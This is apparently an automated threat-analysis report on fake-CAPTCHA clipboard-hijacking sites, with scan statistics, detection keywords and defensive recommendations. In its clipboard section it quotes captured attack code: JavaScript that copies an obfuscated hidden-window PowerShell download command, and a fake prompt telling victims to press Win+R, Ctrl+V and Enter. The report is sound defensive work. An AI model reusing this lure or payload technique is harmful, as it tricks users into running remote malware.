ClickGrab Threat Analysis Report - 2025-06-30

Generated on 2025-06-30 02:49:12

Executive Summary

• Total sites analyzed: 88
• Sites with malicious content: 1
• Unique domains encountered: 0
• Total URLs extracted: 0
• PowerShell download attempts: 0
• Clipboard manipulation instances: 2

Domain Analysis

Most Frequently Encountered Domains

URL Pattern Analysis

Suspicious Keyword Analysis

Total Keywords Found: 99 (13 unique)

Keyword Categories

Social Engineering

10 unique keywords

• CaptchaLoading
• CaptchaCheckbox
• Verification
• Verification ID
• CaptchaListeners
• Captcha
• CAPTCHA
• robot
• captcha-container
• captcha-iogo

Verification Text

1 unique keywords

• hidden

Technical Terms

2 unique keywords

• iex
• failed_to_retrieve

Most Frequent Keywords

• failed_to_retrieve: 87 occurrences
• Verification ID: 1 occurrences
• captcha-container: 1 occurrences
• captcha-iogo: 1 occurrences
• CAPTCHA: 1 occurrences
• Captcha: 1 occurrences
• CaptchaListeners: 1 occurrences
• CaptchaCheckbox: 1 occurrences
• CaptchaLoading: 1 occurrences
• robot: 1 occurrences
• Verification: 1 occurrences
• iex: 1 occurrences
• hidden: 1 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: Verification ID, Verification

Group 2: captcha-container, CaptchaLoading

Group 3: captcha-iogo, CAPTCHA, Captcha

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

• iVBORw0KGgoAAAANSUhEUgAAAv4AAAMACAYAAABcimNkAAAABm...

Clipboard Manipulation Analysis

Detected clipboard manipulation in 2 instances.

Clipboard Attack Flow Analysis

Attack Sophistication: 2/7 components detected Total Technique Instances: 3

Attack Flow Components

The following components show how the clipboard attack is executed:

Clipboard Operations

Executing clipboard copy operations

Instances: 2 Examples: navigator.clipboard

Event Handling

Handling user interactions

Instances: 1 Examples: addEventListener

Malicious Payload Construction

How the final clipboard payload is assembled:

Verification Text

Instances: 1 Examples: - ""; } function copyToClipboard() { navigator.clipboard.writeText ("powershell -w h powershell 'cu%%%r%l% %%http%%://... ...tener("click", function(event) { event.preventDefault(); verifyBtn.disabled = true; verifyCaptcha(); }); checkboxBtn.addEventListener("click", function(event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } addCaptchaListeners(); function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function() { showCaptchaLoading(); }, 500) setTimeout(function() { showVerifyWindow(); }, 900) } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "21px 0 0 12px"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function showVerifyWindow() { verifyWindow.style.display = "block"; verifyWindow.style.visibility = "visible"; verifyWindow.style.opacity = "1"; verifyWindow.style.top = checkboxWindow.offsetTop - 80 + "px"; verifyWindow.style.left = checkboxWindow.offsetLeft + 54 + "px"; if (verifyWindow.offsetTop < 5) { verifyWindow.style.top = "5px"; } if (verifyWindow.offsetLeft + verifyWindow.offsetWidth > window.innerWidth - 10) { verifyWindow.style.left = checkboxWindow.offsetLeft - 8 + "px"; } else { verifyWindowArrow.style.top = checkboxWindow.offsetTop + 24 + "px"; verifyWindowArrow.style.left = checkboxWindow.offsetLeft + 45 + "px"; verifyWindowArrow.style.visibility = "visible"; verifyWindowArrow.style.opacity = "1"; } } function closeVerifyWindow() { verifyWindow.style.display = "none"; verifyWindow.style.visibility = "hidden"; verifyWindow.style.opacity = "0"; verifyWindowArrow.style.visibility = "hidden"; verifyWindowArrow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; verifyBtn.disabled = false; } function isVerifyWindowVisible() { return verifyWindow.style.display !== "none" && verifyWindow.style.display !== ""; } function copyToClipboard() { navigator.clipboard.writeText... ...lt="" id="fkrc-spinner"> </div> <div id="fkrc-verifywin-window" class="fkrc-verifywin-window"> <div class="fkrc-verifywin-container"> <header class="fkrc-verifywin-header"> <span class="fkrc-verifywin-header-text-medium fkrc-m-p fkrc-block">To verify your request</span> <span class="fkrc-verifywin-header-text-big fkrc-m-p fkrc-block">follow the instructions below</span> </header> <main class="fkrc-verifywin-main"> <div class="chrome-box"> <div class="chrome-content"> <ul> <li>Press the Windows Button <img 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alt='Windows Logo' style='width:25px; height:25px; vertical-align:middle;'> + R </li> <li>Press CTRL + V</li> <li>Press Enter</li> </ul> </div> </div> </main>... function verifyCaptcha() { <p class="fkrc-im-not-a-robot fkrc-m-p fkrc-line-normal">I'

Attack Pattern Reconstruction

Key Findings

1. Prevalence: 1.1% of analyzed sites contained malicious content
2. Primary Attack Vector: Fake CAPTCHA verification leading to clipboard hijacking
3. Target Platform: Windows systems via PowerShell execution
4. Social Engineering: Sophisticated UI mimicking legitimate Google reCAPTCHA

Recommendations

1. User Education: Warn users about fake CAPTCHA verification schemes
2. Clipboard Monitoring: Implement clipboard monitoring for suspicious PowerShell commands
3. URL Filtering: Block known malicious domains identified in this analysis
4. PowerShell Execution Policy: Restrict PowerShell execution in corporate environments